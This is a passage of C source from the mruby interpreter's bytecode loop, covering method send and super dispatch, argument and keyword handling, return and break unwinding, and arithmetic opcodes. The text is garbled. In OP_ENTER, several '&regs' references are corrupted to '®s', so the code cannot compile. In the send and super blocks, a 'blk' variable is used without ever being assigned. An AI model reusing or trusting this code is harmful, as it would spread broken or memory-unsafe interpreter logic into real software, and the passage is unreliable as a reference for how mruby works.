L_SENDB;\n\n    CASE(OP_SSENDB, BBB) {\n      regs[a] = regs[0];\n    }\n    goto L_SENDB;\n\n    CASE(OP_SEND, BBB)\n    goto L_SENDB;\n\n    L_SEND_SYM:\n    c = 1;\n    /* push nil after arguments */\n    SET_NIL_VALUE(regs[a+2]);\n    goto L_SENDB_SYM;\n\n    CASE(OP_SENDB, BBB)\n    L_SENDB:\n    mid = syms[b];\n    L_SENDB_SYM:\n    {\n      mrb_callinfo *ci = mrb->c->ci;\n      mrb_method_t m;\n      struct RClass *cls;\n      mrb_value recv, blk;\n\n      ARGUMENT_NORMALIZE(a, &c, insn);\n\n      recv = regs[a];\n      cls = mrb_class(mrb, recv);\n      m = mrb_method_search_vm(mrb, &cls, mid);\n      if (MRB_METHOD_UNDEF_P(m)) {\n        m = prepare_missing(mrb, recv, mid, &cls, a, &c, blk, 0);\n        mid = MRB_SYM(method_missing);\n      }\n\n      /* push callinfo */\n      ci = cipush(mrb, a, 0, cls, NULL, mid, c);\n\n      if (MRB_METHOD_CFUNC_P(m)) {\n        if (MRB_METHOD_PROC_P(m)) {\n          struct RProc *p = MRB_METHOD_PROC(m);\n\n          mrb_vm_ci_proc_set(ci, p);\n          recv = p->body.func(mrb, recv);\n        }\n        else {\n          if (MRB_METHOD_NOARG_P(m)) {\n            check_method_noarg(mrb, ci);\n          }\n          recv = MRB_METHOD_FUNC(m)(mrb, recv);\n        }\n        mrb_gc_arena_shrink(mrb, ai);\n        if (mrb->exc) goto L_RAISE;\n        ci = mrb->c->ci;\n        if (mrb_proc_p(blk)) {\n          struct RProc *p = mrb_proc_ptr(blk);\n          if (p && !MRB_PROC_STRICT_P(p) && MRB_PROC_ENV(p) == mrb_vm_ci_env(&ci[-1])) {\n            p->flags |= MRB_PROC_ORPHAN;\n          }\n        }\n        if (!ci->u.target_class) { /* return from context modifying method (resume/yield) */\n          if (ci->cci == CINFO_RESUMED) {\n            mrb->jmp = prev_jmp;\n            return recv;\n          }\n          else {\n            mrb_assert(!MRB_PROC_CFUNC_P(ci[-1].proc));\n            proc = ci[-1].proc;\n            irep = proc->body.irep;\n            pool = irep->pool;\n            syms = irep->syms;\n          }\n        }\n        ci->stack[0] = recv;\n        /* pop stackpos */\n        ci = cipop(mrb);\n        pc = ci->pc;\n      }\n      else {\n        /* setup environment for calling method */\n        mrb_vm_ci_proc_set(ci, (proc = MRB_METHOD_PROC(m)));\n        irep = proc->body.irep;\n        pool = irep->pool;\n        syms = irep->syms;\n        mrb_stack_extend(mrb, (irep->nregs < 4) ? 4 : irep->nregs);\n        pc = irep->iseq;\n      }\n    }\n    JUMP;\n\n    CASE(OP_CALL, Z) {\n      mrb_callinfo *ci = mrb->c->ci;\n      mrb_value recv = ci->stack[0];\n      struct RProc *m = mrb_proc_ptr(recv);\n\n      /* replace callinfo */\n      ci->u.target_class = MRB_PROC_TARGET_CLASS(m);\n      mrb_vm_ci_proc_set(ci, m);\n      if (MRB_PROC_ENV_P(m)) {\n        ci->mid = MRB_PROC_ENV(m)->mid;\n      }\n\n      /* prepare stack */\n      if (MRB_PROC_CFUNC_P(m)) {\n        recv = MRB_PROC_CFUNC(m)(mrb, recv);\n        mrb_gc_arena_shrink(mrb, ai);\n        if (mrb->exc) goto L_RAISE;\n        /* pop stackpos */\n        ci = cipop(mrb);\n        pc = ci->pc;\n        ci[1].stack[0] = recv;\n        irep = mrb->c->ci->proc->body.irep;\n      }\n      else {\n        /* setup environment for calling method */\n        proc = m;\n        irep = m->body.irep;\n        if (!irep) {\n          mrb->c->ci->stack[0] = mrb_nil_value();\n          a = 0;\n          c = OP_R_NORMAL;\n          goto L_OP_RETURN_BODY;\n        }\n        mrb_int nargs = mrb_ci_bidx(ci)+1;\n        if (nargs < irep->nregs) {\n          mrb_stack_extend(mrb, irep->nregs);\n          stack_clear(regs+nargs, irep->nregs-nargs);\n        }\n        if (MRB_PROC_ENV_P(m)) {\n          regs[0] = MRB_PROC_ENV(m)->stack[0];\n        }\n        pc = irep->iseq;\n      }\n      pool = irep->pool;\n      syms = irep->syms;\n      JUMP;\n    }\n\n    CASE(OP_SUPER, BB) {\n      mrb_method_t m;\n      struct RClass *cls;\n      mrb_callinfo *ci = mrb->c->ci;\n      mrb_value recv, blk;\n      const struct RProc *p = ci->proc;\n      mrb_sym mid = ci->mid;\n      struct RClass* target_class = mrb_vm_ci_target_class(ci);\n\n      if (MRB_PROC_ENV_P(p) && p->e.env->mid && p->e.env->mid != mid) { /* alias support */\n        mid = p->e.env->mid;    /* restore old mid */\n      }\n\n      if (mid == 0 || !target_class) {\n        mrb_value exc = mrb_exc_new_lit(mrb, E_NOMETHOD_ERROR, \"super called outside of method\");\n        mrb_exc_set(mrb, exc);\n        goto L_RAISE;\n      }\n      if ((target_class->flags & MRB_FL_CLASS_IS_PREPENDED) || target_class->tt == MRB_TT_MODULE) {\n        goto super_typeerror;\n      }\n      recv = regs[0];\n      if (!mrb_obj_is_kind_of(mrb, recv, target_class)) {\n      super_typeerror: ;\n        mrb_value exc = mrb_exc_new_lit(mrb, E_TYPE_ERROR,\n                                            \"self has wrong type to call super in this context\");\n        mrb_exc_set(mrb, exc);\n        goto L_RAISE;\n      }\n\n      ARGUMENT_NORMALIZE(a, &b, OP_SUPER);\n\n      cls = target_class->super;\n      m = mrb_method_search_vm(mrb, &cls, mid);\n      if (MRB_METHOD_UNDEF_P(m)) {\n        m = prepare_missing(mrb, recv, mid, &cls, a, &b, blk, 1);\n        mid = MRB_SYM(method_missing);\n      }\n\n      /* push callinfo */\n      ci = cipush(mrb, a, 0, cls, NULL, mid, b);\n\n      /* prepare stack */\n      ci->stack[0] = recv;\n\n      if (MRB_METHOD_CFUNC_P(m)) {\n        mrb_value v;\n\n        if (MRB_METHOD_PROC_P(m)) {\n          mrb_vm_ci_proc_set(ci, MRB_METHOD_PROC(m));\n        }\n        v = MRB_METHOD_CFUNC(m)(mrb, recv);\n        mrb_gc_arena_restore(mrb, ai);\n        if (mrb->exc) goto L_RAISE;\n        ci = mrb->c->ci;\n        mrb_assert(!mrb_break_p(v));\n        if (!mrb_vm_ci_target_class(ci)) { /* return from context modifying method (resume/yield) */\n          if (ci->cci == CINFO_RESUMED) {\n            mrb->jmp = prev_jmp;\n            return v;\n          }\n          else {\n            mrb_assert(!MRB_PROC_CFUNC_P(ci[-1].proc));\n            proc = ci[-1].proc;\n            irep = proc->body.irep;\n            pool = irep->pool;\n            syms = irep->syms;\n          }\n        }\n        mrb->c->ci->stack[0] = v;\n        ci = cipop(mrb);\n        pc = ci->pc;\n      }\n      else {\n        /* setup environment for calling method */\n        mrb_vm_ci_proc_set(ci, (proc = MRB_METHOD_PROC(m)));\n        irep = proc->body.irep;\n        pool = irep->pool;\n        syms = irep->syms;\n        mrb_stack_extend(mrb, (irep->nregs < 4) ? 4 : irep->nregs);\n        pc = irep->iseq;\n      }\n      JUMP;\n    }\n\n    CASE(OP_ARGARY, BS) {\n      mrb_int m1 = (b>>11)&0x3f;\n      mrb_int r  = (b>>10)&0x1;\n      mrb_int m2 = (b>>5)&0x1f;\n      mrb_int kd = (b>>4)&0x1;\n      mrb_int lv = (b>>0)&0xf;\n      mrb_value *stack;\n\n      if (mrb->c->ci->mid == 0 || mrb_vm_ci_target_class(mrb->c->ci) == NULL) {\n        mrb_value exc;\n\n      L_NOSUPER:\n        exc = mrb_exc_new_lit(mrb, E_NOMETHOD_ERROR, \"super called outside of method\");\n        mrb_exc_set(mrb, exc);\n        goto L_RAISE;\n      }\n      if (lv == 0) stack = regs + 1;\n      else {\n        struct REnv *e = uvenv(mrb, lv-1);\n        if (!e) goto L_NOSUPER;\n        if (MRB_ENV_LEN(e) <= m1+r+m2+1)\n          goto L_NOSUPER;\n        stack = e->stack + 1;\n      }\n      if (r == 0) {\n        regs[a] = mrb_ary_new_from_values(mrb, m1+m2, stack);\n      }\n      else {\n        mrb_value *pp = NULL;\n        struct RArray *rest;\n        mrb_int len = 0;\n\n        if (mrb_array_p(stack[m1])) {\n          struct RArray *ary = mrb_ary_ptr(stack[m1]);\n\n          pp = ARY_PTR(ary);\n          len = ARY_LEN(ary);\n        }\n        regs[a] = mrb_ary_new_capa(mrb, m1+len+m2);\n        rest = mrb_ary_ptr(regs[a]);\n        if (m1 > 0) {\n          stack_copy(ARY_PTR(rest), stack, m1);\n        }\n        if (len > 0) {\n          stack_copy(ARY_PTR(rest)+m1, pp, len);\n        }\n        if (m2 > 0) {\n          stack_copy(ARY_PTR(rest)+m1+len, stack+m1+1, m2);\n        }\n        ARY_SET_LEN(rest, m1+len+m2);\n      }\n      if (kd) {\n        regs[a+1] = stack[m1+r+m2];\n        regs[a+2] = stack[m1+r+m2+1];\n      }\n      else {\n        regs[a+1] = stack[m1+r+m2];\n      }\n      mrb_gc_arena_restore(mrb, ai);\n      NEXT;\n    }\n\n    CASE(OP_ENTER, W) {\n      mrb_int m1 = MRB_ASPEC_REQ(a);\n      mrb_int o  = MRB_ASPEC_OPT(a);\n      mrb_int r  = MRB_ASPEC_REST(a);\n      mrb_int m2 = MRB_ASPEC_POST(a);\n      mrb_int kd = (MRB_ASPEC_KEY(a) > 0 || MRB_ASPEC_KDICT(a))? 1 : 0;\n      /* unused\n      int b  = MRB_ASPEC_BLOCK(a);\n      */\n      mrb_int const len = m1 + o + r + m2;\n\n      mrb_callinfo *ci = mrb->c->ci;\n      mrb_int argc = ci->n;\n      mrb_value *argv = regs+1;\n      mrb_value * const argv0 = argv;\n      mrb_int const kw_pos = len + kd;    /* where kwhash should be */\n      mrb_int const blk_pos = kw_pos + 1; /* where block should be */\n      mrb_value blk = regs[mrb_ci_bidx(ci)];\n      mrb_value kdict = mrb_nil_value();\n\n      /* keyword arguments */\n      if (ci->nk > 0) {\n        mrb_int kidx = mrb_ci_kidx(ci);\n        kdict = regs[kidx];\n        if (!mrb_hash_p(kdict) || mrb_hash_size(mrb, kdict) == 0) {\n          kdict = mrb_nil_value();\n          ci->nk = 0;\n        }\n      }\n      if (!kd && !mrb_nil_p(kdict)) {\n        if (argc < 14) {\n          ci->n++;\n          argc++;    /* include kdict in normal arguments */\n        }\n        else if (argc == 14) {\n          /* pack arguments and kdict */\n          regs[1] = mrb_ary_new_from_values(mrb, argc+1, ®s[1]);\n          argc = ci->n = 15;\n        }\n        else {/* argc == 15 */\n          /* push kdict to packed arguments */\n          mrb_ary_push(mrb, regs[1], regs[2]);\n        }\n        ci->nk = 0;\n      }\n      if (kd && MRB_ASPEC_KEY(a) > 0 && mrb_hash_p(kdict)) {\n        kdict = mrb_hash_dup(mrb, kdict);\n      }\n\n      /* arguments is passed with Array */\n      if (argc == 15) {\n        struct RArray *ary = mrb_ary_ptr(regs[1]);\n        argv = ARY_PTR(ary);\n        argc = (int)ARY_LEN(ary);\n        mrb_gc_protect(mrb, regs[1]);\n      }\n\n      /* strict argument check */\n      if (ci->proc && MRB_PROC_STRICT_P(ci->proc)) {\n        if (argc < m1 + m2 || (r == 0 && argc > len)) {\n          argnum_error(mrb, m1+m2);\n          goto L_RAISE;\n        }\n      }\n      /* extract first argument array to arguments */\n      else if (len > 1 && argc == 1 && mrb_array_p(argv[0])) {\n        mrb_gc_protect(mrb, argv[0]);\n        argc = (int)RARRAY_LEN(argv[0]);\n        argv = RARRAY_PTR(argv[0]);\n      }\n\n      /* rest arguments */\n      mrb_value rest = mrb_nil_value();\n      if (argc < len) {\n        mrb_int mlen = m2;\n        if (argc < m1+m2) {\n          mlen = m1 < argc ? argc - m1 : 0;\n        }\n\n        /* copy mandatory and optional arguments */\n        if (argv0 != argv && argv) {\n          value_move(®s[1], argv, argc-mlen); /* m1 + o */\n        }\n        if (argc < m1) {\n          stack_clear(®s[argc+1], m1-argc);\n        }\n        /* copy post mandatory arguments */\n        if (mlen) {\n          value_move(®s[len-m2+1], &argv[argc-mlen], mlen);\n        }\n        if (mlen < m2) {\n          stack_clear(®s[len-m2+mlen+1], m2-mlen);\n        }\n        /* initialize rest arguments with empty Array */\n        if (r) {\n          rest = mrb_ary_new_capa(mrb, 0);\n          regs[m1+o+1] = rest;\n        }\n        /* skip initializer of passed arguments */\n        if (o > 0 && argc > m1+m2)\n          pc += (argc - m1 - m2)*3;\n      }\n      else {\n        mrb_int rnum = 0;\n        if (argv0 != argv) {\n          value_move(®s[1], argv, m1+o);\n        }\n        if (r) {\n          rnum = argc-m1-o-m2;\n          rest = mrb_ary_new_from_values(mrb, rnum, argv+m1+o);\n          regs[m1+o+1] = rest;\n        }\n        if (m2 > 0 && argc-m2 > m1) {\n          value_move(®s[m1+o+r+1], &argv[m1+o+rnum], m2);\n        }\n        pc += o*3;\n      }\n\n      /* need to be update blk first to protect blk from GC */\n      regs[blk_pos] = blk;              /* move block */\n      if (kd) {\n        if (mrb_nil_p(kdict))\n          kdict = mrb_hash_new_capa(mrb, 0);\n        regs[kw_pos] = kdict;           /* set kwhash */\n      }\n\n      /* format arguments for generated code */\n      mrb->c->ci->n = (uint8_t)len;\n\n      /* clear local (but non-argument) variables */\n      if (irep->nlocals-blk_pos-1 > 0) {\n        stack_clear(®s[blk_pos+1], irep->nlocals-blk_pos-1);\n      }\n      JUMP;\n    }\n\n    CASE(OP_KARG, BB) {\n      mrb_value k = mrb_symbol_value(syms[b]);\n      mrb_int kidx = mrb_ci_kidx(mrb->c->ci);\n      mrb_value kdict, v;\n\n      if (kidx < 0 || !mrb_hash_p(kdict=regs[kidx]) || !mrb_hash_key_p(mrb, kdict, k)) {\n        mrb_value str = mrb_format(mrb, \"missing keyword: %v\", k);\n        mrb_exc_set(mrb, mrb_exc_new_str(mrb, E_ARGUMENT_ERROR, str));\n        goto L_RAISE;\n      }\n      v = mrb_hash_get(mrb, kdict, k);\n      regs[a] = v;\n      mrb_hash_delete_key(mrb, kdict, k);\n      NEXT;\n    }\n\n    CASE(OP_KEY_P, BB) {\n      mrb_value k = mrb_symbol_value(syms[b]);\n      mrb_int kidx = mrb_ci_kidx(mrb->c->ci);\n      mrb_value kdict;\n      mrb_bool key_p = FALSE;\n\n      if (kidx >= 0 && mrb_hash_p(kdict=regs[kidx])) {\n        key_p = mrb_hash_key_p(mrb, kdict, k);\n      }\n      regs[a] = mrb_bool_value(key_p);\n      NEXT;\n    }\n\n    CASE(OP_KEYEND, Z) {\n      mrb_int kidx = mrb_ci_kidx(mrb->c->ci);\n      mrb_value kdict;\n\n      if (kidx >= 0 && mrb_hash_p(kdict=regs[kidx]) && !mrb_hash_empty_p(mrb, kdict)) {\n        mrb_value keys = mrb_hash_keys(mrb, kdict);\n        mrb_value key1 = RARRAY_PTR(keys)[0];\n        mrb_value str = mrb_format(mrb, \"unknown keyword: %v\", key1);\n        mrb_exc_set(mrb, mrb_exc_new_str(mrb, E_ARGUMENT_ERROR, str));\n        goto L_RAISE;\n      }\n      NEXT;\n    }\n\n    CASE(OP_BREAK, B) {\n      c = OP_R_BREAK;\n      goto L_RETURN;\n    }\n    CASE(OP_RETURN_BLK, B) {\n      c = OP_R_RETURN;\n      goto L_RETURN;\n    }\n    CASE(OP_RETURN, B)\n    c = OP_R_NORMAL;\n    L_RETURN:\n    {\n      mrb_callinfo *ci;\n\n      ci = mrb->c->ci;\n      if (ci->mid) {\n        mrb_value blk = regs[mrb_ci_bidx(ci)];\n\n        if (mrb_proc_p(blk)) {\n          struct RProc *p = mrb_proc_ptr(blk);\n\n          if (!MRB_PROC_STRICT_P(p) &&\n              ci > mrb->c->cibase && MRB_PROC_ENV(p) == mrb_vm_ci_env(&ci[-1])) {\n            p->flags |= MRB_PROC_ORPHAN;\n          }\n        }\n      }\n\n      if (mrb->exc) {\n      L_RAISE:\n        ci = mrb->c->ci;\n        if (ci == mrb->c->cibase) {\n          ch = catch_handler_find(mrb, ci, pc, MRB_CATCH_FILTER_ALL);\n          if (ch == NULL) goto L_FTOP;\n          goto L_CATCH;\n        }\n        while ((ch = catch_handler_find(mrb, ci, pc, MRB_CATCH_FILTER_ALL)) == NULL) {\n          ci = cipop(mrb);\n          if (ci[1].cci == CINFO_SKIP && prev_jmp) {\n            mrb->jmp = prev_jmp;\n            MRB_THROW(prev_jmp);\n          }\n          pc = ci[0].pc;\n          if (ci == mrb->c->cibase) {\n            ch = catch_handler_find(mrb, ci, pc, MRB_CATCH_FILTER_ALL);\n            if (ch == NULL) {\n            L_FTOP:             /* fiber top */\n              if (mrb->c == mrb->root_c) {\n                mrb->c->ci->stack = mrb->c->stbase;\n                goto L_STOP;\n              }\n              else {\n                struct mrb_context *c = mrb->c;\n\n                c->status = MRB_FIBER_TERMINATED;\n                mrb->c = c->prev;\n                c->prev = NULL;\n                goto L_RAISE;\n              }\n            }\n            break;\n          }\n        }\n      L_CATCH:\n        if (ch == NULL) goto L_STOP;\n        if (FALSE) {\n        L_CATCH_TAGGED_BREAK: /* from THROW_TAGGED_BREAK() or UNWIND_ENSURE() */\n          ci = mrb->c->ci;\n        }\n        proc = ci->proc;\n        irep = proc->body.irep;\n        pool = irep->pool;\n        syms = irep->syms;\n        mrb_stack_extend(mrb, irep->nregs);\n        pc = irep->iseq + mrb_irep_catch_handler_unpack(ch->target);\n      }\n      else {\n        mrb_int acc;\n        mrb_value v;\n\n        ci = mrb->c->ci;\n        v = regs[a];\n        mrb_gc_protect(mrb, v);\n        switch (c) {\n        case OP_R_RETURN:\n          /* Fall through to OP_R_NORMAL otherwise */\n          if (ci->cci == CINFO_NONE && MRB_PROC_ENV_P(proc) && !MRB_PROC_STRICT_P(proc)) {\n            const struct RProc *dst;\n            mrb_callinfo *cibase;\n            cibase = mrb->c->cibase;\n            dst = top_proc(mrb, proc);\n\n            if (MRB_PROC_ENV_P(dst)) {\n              struct REnv *e = MRB_PROC_ENV(dst);\n\n              if (!MRB_ENV_ONSTACK_P(e) || (e->cxt && e->cxt != mrb->c)) {\n                localjump_error(mrb, LOCALJUMP_ERROR_RETURN);\n                goto L_RAISE;\n              }\n            }\n            /* check jump destination */\n            while (cibase <= ci && ci->proc != dst) {\n              if (ci->cci > CINFO_NONE) { /* jump cross C boundary */\n                localjump_error(mrb, LOCALJUMP_ERROR_RETURN);\n                goto L_RAISE;\n              }\n              ci--;\n            }\n            if (ci <= cibase) { /* no jump destination */\n              localjump_error(mrb, LOCALJUMP_ERROR_RETURN);\n              goto L_RAISE;\n            }\n            ci = mrb->c->ci;\n            while (cibase <= ci && ci->proc != dst) {\n              CHECKPOINT_RESTORE(RBREAK_TAG_RETURN_BLOCK) {\n                cibase = mrb->c->cibase;\n                dst = top_proc(mrb, proc);\n              }\n              CHECKPOINT_MAIN(RBREAK_TAG_RETURN_BLOCK) {\n                UNWIND_ENSURE(mrb, ci, pc, RBREAK_TAG_RETURN_BLOCK, proc, v);\n              }\n              CHECKPOINT_END(RBREAK_TAG_RETURN_BLOCK);\n              ci = cipop(mrb);\n              pc = ci->pc;\n            }\n            proc = ci->proc;\n            mrb->exc = NULL; /* clear break object */\n            break;\n          }\n          /* fallthrough */\n        case OP_R_NORMAL:\n        NORMAL_RETURN:\n          if (ci == mrb->c->cibase) {\n            struct mrb_context *c;\n            c = mrb->c;\n\n            if (!c->prev) { /* toplevel return */\n              regs[irep->nlocals] = v;\n              goto CHECKPOINT_LABEL_MAKE(RBREAK_TAG_STOP);\n            }\n            if (!c->vmexec && c->prev->ci == c->prev->cibase) {\n              mrb_value exc = mrb_exc_new_lit(mrb, E_FIBER_ERROR, \"double resume\");\n              mrb_exc_set(mrb, exc);\n              goto L_RAISE;\n            }\n            CHECKPOINT_RESTORE(RBREAK_TAG_RETURN_TOPLEVEL) {\n              c = mrb->c;\n            }\n            CHECKPOINT_MAIN(RBREAK_TAG_RETURN_TOPLEVEL) {\n              UNWIND_ENSURE(mrb, ci, pc, RBREAK_TAG_RETURN_TOPLEVEL, proc, v);\n            }\n            CHECKPOINT_END(RBREAK_TAG_RETURN_TOPLEVEL);\n            /* automatic yield at the end */\n            c->status = MRB_FIBER_TERMINATED;\n            mrb->c = c->prev;\n            mrb->c->status = MRB_FIBER_RUNNING;\n            c->prev = NULL;\n            if (c->vmexec) {\n              mrb_gc_arena_restore(mrb, ai);\n              c->vmexec = FALSE;\n              mrb->jmp = prev_jmp;\n              return v;\n            }\n            ci = mrb->c->ci;\n          }\n          CHECKPOINT_RESTORE(RBREAK_TAG_RETURN) {\n            /* do nothing */\n          }\n          CHECKPOINT_MAIN(RBREAK_TAG_RETURN) {\n            UNWIND_ENSURE(mrb, ci, pc, RBREAK_TAG_RETURN, proc, v);\n          }\n          CHECKPOINT_END(RBREAK_TAG_RETURN);\n          mrb->exc = NULL; /* clear break object */\n          break;\n        case OP_R_BREAK:\n          if (MRB_PROC_STRICT_P(proc)) goto NORMAL_RETURN;\n          if (MRB_PROC_ORPHAN_P(proc)) {\n            mrb_value exc;\n\n          L_BREAK_ERROR:\n            exc = mrb_exc_new_lit(mrb, E_LOCALJUMP_ERROR,\n                                      \"break from proc-closure\");\n            mrb_exc_set(mrb, exc);\n            goto L_RAISE;\n          }\n          if (!MRB_PROC_ENV_P(proc) || !MRB_ENV_ONSTACK_P(MRB_PROC_ENV(proc))) {\n            goto L_BREAK_ERROR;\n          }\n          else {\n            struct REnv *e = MRB_PROC_ENV(proc);\n\n            if (e->cxt != mrb->c) {\n              goto L_BREAK_ERROR;\n            }\n          }\n          CHECKPOINT_RESTORE(RBREAK_TAG_BREAK) {\n            /* do nothing */\n          }\n          CHECKPOINT_MAIN(RBREAK_TAG_BREAK) {\n            UNWIND_ENSURE(mrb, ci, pc, RBREAK_TAG_BREAK, proc, v);\n          }\n          CHECKPOINT_END(RBREAK_TAG_BREAK);\n          /* break from fiber block */\n          if (ci == mrb->c->cibase && ci->pc) {\n            struct mrb_context *c = mrb->c;\n\n            mrb->c = c->prev;\n            c->prev = NULL;\n            ci = mrb->c->ci;\n          }\n          if (ci->cci > CINFO_NONE) {\n            ci = cipop(mrb);\n            mrb->exc = (struct RObject*)break_new(mrb, RBREAK_TAG_BREAK, proc, v);\n            mrb_gc_arena_restore(mrb, ai);\n            mrb->c->vmexec = FALSE;\n            mrb->jmp = prev_jmp;\n            MRB_THROW(prev_jmp);\n          }\n          if (FALSE) {\n            struct RBreak *brk;\n\n          L_BREAK:\n            brk = (struct RBreak*)mrb->exc;\n            proc = mrb_break_proc_get(brk);\n            v = mrb_break_value_get(brk);\n            ci = mrb->c->ci;\n\n            switch (mrb_break_tag_get(brk)) {\n#define DISPATCH_CHECKPOINTS(n, i) case n: goto CHECKPOINT_LABEL_MAKE(n);\n              RBREAK_TAG_FOREACH(DISPATCH_CHECKPOINTS)\n#undef DISPATCH_CHECKPOINTS\n              default:\n                mrb_assert(!\"wrong break tag\");\n            }\n          }\n          while (mrb->c->cibase < ci && ci[-1].proc != proc->upper) {\n            if (ci[-1].cci == CINFO_SKIP) {\n              goto L_BREAK_ERROR;\n            }\n            CHECKPOINT_RESTORE(RBREAK_TAG_BREAK_UPPER) {\n              /* do nothing */\n            }\n            CHECKPOINT_MAIN(RBREAK_TAG_BREAK_UPPER) {\n              UNWIND_ENSURE(mrb, ci, pc, RBREAK_TAG_BREAK_UPPER, proc, v);\n            }\n            CHECKPOINT_END(RBREAK_TAG_BREAK_UPPER);\n            ci = cipop(mrb);\n            pc = ci->pc;\n          }\n          CHECKPOINT_RESTORE(RBREAK_TAG_BREAK_INTARGET) {\n            /* do nothing */\n          }\n          CHECKPOINT_MAIN(RBREAK_TAG_BREAK_INTARGET) {\n            UNWIND_ENSURE(mrb, ci, pc, RBREAK_TAG_BREAK_INTARGET, proc, v);\n          }\n          CHECKPOINT_END(RBREAK_TAG_BREAK_INTARGET);\n          if (ci == mrb->c->cibase) {\n            goto L_BREAK_ERROR;\n          }\n          mrb->exc = NULL; /* clear break object */\n          break;\n        default:\n          /* cannot happen */\n          break;\n        }\n        mrb_assert(ci == mrb->c->ci);\n        mrb_assert(mrb->exc == NULL);\n\n        if (mrb->c->vmexec && !mrb_vm_ci_target_class(ci)) {\n          mrb_gc_arena_restore(mrb, ai);\n          mrb->c->vmexec = FALSE;\n          mrb->jmp = prev_jmp;\n          return v;\n        }\n        acc = ci->cci;\n        ci = cipop(mrb);\n        if (acc == CINFO_SKIP || acc == CINFO_DIRECT) {\n          mrb_gc_arena_restore(mrb, ai);\n          mrb->jmp = prev_jmp;\n          return v;\n        }\n        pc = ci->pc;\n        DEBUG(fprintf(stderr, \"from :%s\\n\", mrb_sym_name(mrb, ci->mid)));\n        proc = ci->proc;\n        irep = proc->body.irep;\n        pool = irep->pool;\n        syms = irep->syms;\n\n        ci[1].stack[0] = v;\n        mrb_gc_arena_restore(mrb, ai);\n      }\n      JUMP;\n    }\n\n    CASE(OP_BLKPUSH, BS) {\n      int m1 = (b>>11)&0x3f;\n      int r  = (b>>10)&0x1;\n      int m2 = (b>>5)&0x1f;\n      int kd = (b>>4)&0x1;\n      int lv = (b>>0)&0xf;\n      mrb_value *stack;\n\n      if (lv == 0) stack = regs + 1;\n      else {\n        struct REnv *e = uvenv(mrb, lv-1);\n        if (!e || (!MRB_ENV_ONSTACK_P(e) && e->mid == 0) ||\n            MRB_ENV_LEN(e) <= m1+r+m2+1) {\n          localjump_error(mrb, LOCALJUMP_ERROR_YIELD);\n          goto L_RAISE;\n        }\n        stack = e->stack + 1;\n      }\n      if (mrb_nil_p(stack[m1+r+m2+kd])) {\n        localjump_error(mrb, LOCALJUMP_ERROR_YIELD);\n        goto L_RAISE;\n      }\n      regs[a] = stack[m1+r+m2+kd];\n      NEXT;\n    }\n\n#if !defined(MRB_USE_BIGINT) || defined(MRB_INT32)\n  L_INT_OVERFLOW:\n    {\n      mrb_value exc = mrb_exc_new_lit(mrb, E_RANGE_ERROR, \"integer overflow\");\n      mrb_exc_set(mrb, exc);\n    }\n    goto L_RAISE;\n#endif\n\n#define TYPES2(a,b) ((((uint16_t)(a))<<8)|(((uint16_t)(b))&0xff))\n#define OP_MATH(op_name)                                                    \\\n  /* need to check if op is overridden */                                   \\\n  switch (TYPES2(mrb_type(regs[a]),mrb_type(regs[a+1]))) {                  \\\n    OP_MATH_CASE_INTEGER(op_name);                                          \\\n    OP_MATH_CASE_FLOAT(op_name, integer, float);                            \\\n    OP_MATH_CASE_FLOAT(op_name, float,  integer);                           \\\n    OP_MATH_CASE_FLOAT(op_name, float,  float);                             \\\n    OP_MATH_CASE_STRING_##op_name();                                        \\\n    default:                                                                \\\n      mid = MRB_OPSYM(op_name);                                             \\\n      goto L_SEND_SYM;                                                      \\\n  }                                                                         \\\n  NEXT;\n#define OP_MATH_CASE_INTEGER(op_name)                                       \\\n  case TYPES2(MRB_TT_INTEGER, MRB_TT_INTEGER):                              \\\n    {                                                                       \\\n      mrb_int x = mrb_integer(regs[a]), y = mrb_integer(regs[a+1]), z;      \\\n      if (mrb_int_##op_name##_overflow(x, y, &z)) {                         \\\n        OP_MATH_OVERFLOW_INT(op_name,x,y);                                  \\\n      }                                                                     \\\n      else                                                                  \\\n        SET_INT_VALUE(mrb,regs[a], z);                                      \\\n    }                                                                       \\\n    break\n#ifdef MRB_NO_FLOAT\n#define OP_MATH_CASE_FLOAT(op_name, t1, t2) (void)0\n#else\n#define OP_MATH_CASE_FLOAT(op_name, t1, t2)                                     \\\n  case TYPES2(OP_MATH_TT_##t1, OP_MATH_TT_##t2):                                \\\n    {                                                                           \\\n      mrb_float z = mrb_##t1(regs[a]) OP_MATH_OP_##op_name mrb_##t2(regs[a+1]); \\\n      SET_FLOAT_VALUE(mrb, regs[a], z);                                         \\\n    }                                                                           \\\n    break\n#endif\n#ifdef MRB_USE_BIGINT\n#define OP_MATH_OVERFLOW_INT(op,x,y) regs[a] = mrb_bint_##op##_ii(mrb,x,y)\n#else\n#define OP_MATH_OVERFLOW_INT(op,x,y) goto L_INT_OVERFLOW\n#endif\n#define OP_MATH_CASE_STRING_add()                                           \\\n  case TYPES2(MRB_TT_STRING, MRB_TT_STRING):                                \\\n    regs[a] = mrb_str_plus(mrb, regs[a], regs[a+1]);                        \\\n    mrb_gc_arena_restore(mrb, ai);                                          \\\n    break\n#define OP_MATH_CASE_STRING_sub() (void)0\n#define OP_MATH_CASE_STRING_mul() (void)0\n#define OP_MATH_OP_add +\n#define OP_MATH_OP_sub -\n#define OP_MATH_OP_mul *\n#define OP_MATH_TT_integer MRB_TT_INTEGER\n#define OP_MATH_TT_float   MRB_TT_FLOAT\n\n    CASE(OP_ADD, B) {\n      OP_MATH(add);\n    }\n\n    CASE(OP_SUB, B) {\n      OP_MATH(sub);\n    }\n\n    CASE(OP_MUL, B) {\n      OP_MATH(mul);\n    }\n\n    CASE(OP_DIV, B) {\n#ifndef MRB_NO_FLOAT\n      mrb_float x, y, f;\n#endif\n\n      /* need to check if op is overridden */\n      switch (TYPES2(mrb_type(regs[a]),mrb_type(regs[a+1]))) {\n      case TYPES2(MRB_TT_INTEGER,MRB_TT_INTEGER):\n        {\n          mrb_int x = mrb_integer(regs[a]);\n          mrb_int y = mrb_integer(regs[a+1]);\n          mrb_int div = mrb_div_int(mrb, x, y);\n          SET_INT_VALUE(mrb, regs[a], div);\n        }\n        NEXT;\n#ifndef MRB_NO_FLOAT\n      case TYPES2(MRB_TT_INTEGER,MRB_TT_FLOAT):\n        x = (mrb_float)mrb_integer(regs[a]);\n        y = mrb_float(regs[a+1]);\n        break;\n      case TYPES2(MRB_TT_FLOAT,MRB_TT_INTEGER):\n        x = mrb_float(regs[a]);\n        y = (mrb_float)mrb_integer(regs[a+1]);\n        break;\n      case TYPES2(MRB_TT_FLOAT,MRB_TT_FLOAT):\n        x = mrb_float(regs[a]);\n        y = mrb_float(regs[a+1]);\n        break;\n#endif\n      default:\n        mid = MRB_OPSYM(div);\n        goto 